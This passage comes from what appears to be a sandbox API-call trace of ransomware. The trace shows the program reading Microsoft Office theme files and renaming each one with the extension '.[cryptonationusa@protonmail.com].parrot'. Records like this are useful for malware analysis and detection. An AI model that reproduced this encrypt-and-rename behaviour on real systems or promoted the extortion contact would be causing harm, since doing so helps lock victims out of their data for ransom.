(HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.616] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.616] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.618] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.618] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x59f, lpOverlapped=0x0) returned 1 [0123.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.618] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.618] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.686] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.686] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.688] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.688] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbba7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbba7, lpOverlapped=0x0) returned 1 [0123.689] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.690] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.695] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.696] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.696] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.697] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x258, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x258, lpOverlapped=0x0) returned 1 [0123.697] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.702] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.702] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.704] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.704] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x90f8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x90f8, lpOverlapped=0x0) returned 1 [0123.708] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.941] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.941] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.943] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.943] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x682, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x682, lpOverlapped=0x0) returned 1 [0123.944] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.948] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.948] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.950] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.950] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb75e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb75e, lpOverlapped=0x0) returned 1 [0123.953] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.954] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.957] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.957] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.957] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.958] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24a, lpOverlapped=0x0) returned 1 [0123.958] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.958] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.961] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.961] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.962] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.962] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c6b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4c6b, lpOverlapped=0x0) returned 1 [0123.965] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.968] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.968] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.970] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.970] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x58f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x58f, lpOverlapped=0x0) returned 1 [0123.970] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.974] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.974] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.975] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.976] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb30e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb30e, lpOverlapped=0x0) returned 1 [0123.990] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.993] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.993] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.994] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.994] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24a, lpOverlapped=0x0) returned 1 [0123.994] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.997] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.997] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.999] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.999] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d79, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3d79, lpOverlapped=0x0) returned 1 [0124.001] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.005] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.005] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.007] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.007] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf82, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf82, lpOverlapped=0x0) returned 1 [0124.007] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.018] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.018] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.019] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.020] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1205e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1205e, lpOverlapped=0x0) returned 1 [0124.023] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.028] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.028] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.029] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.029] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x239, lpOverlapped=0x0) returned 1 [0124.029] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.029] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.032] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.032] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.033] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.033] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcf7b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xcf7b, lpOverlapped=0x0) returned 1 [0124.037] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.045] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.045] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.047] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.047] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa2c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa2c, lpOverlapped=0x0) returned 1 [0124.047] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.047] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft 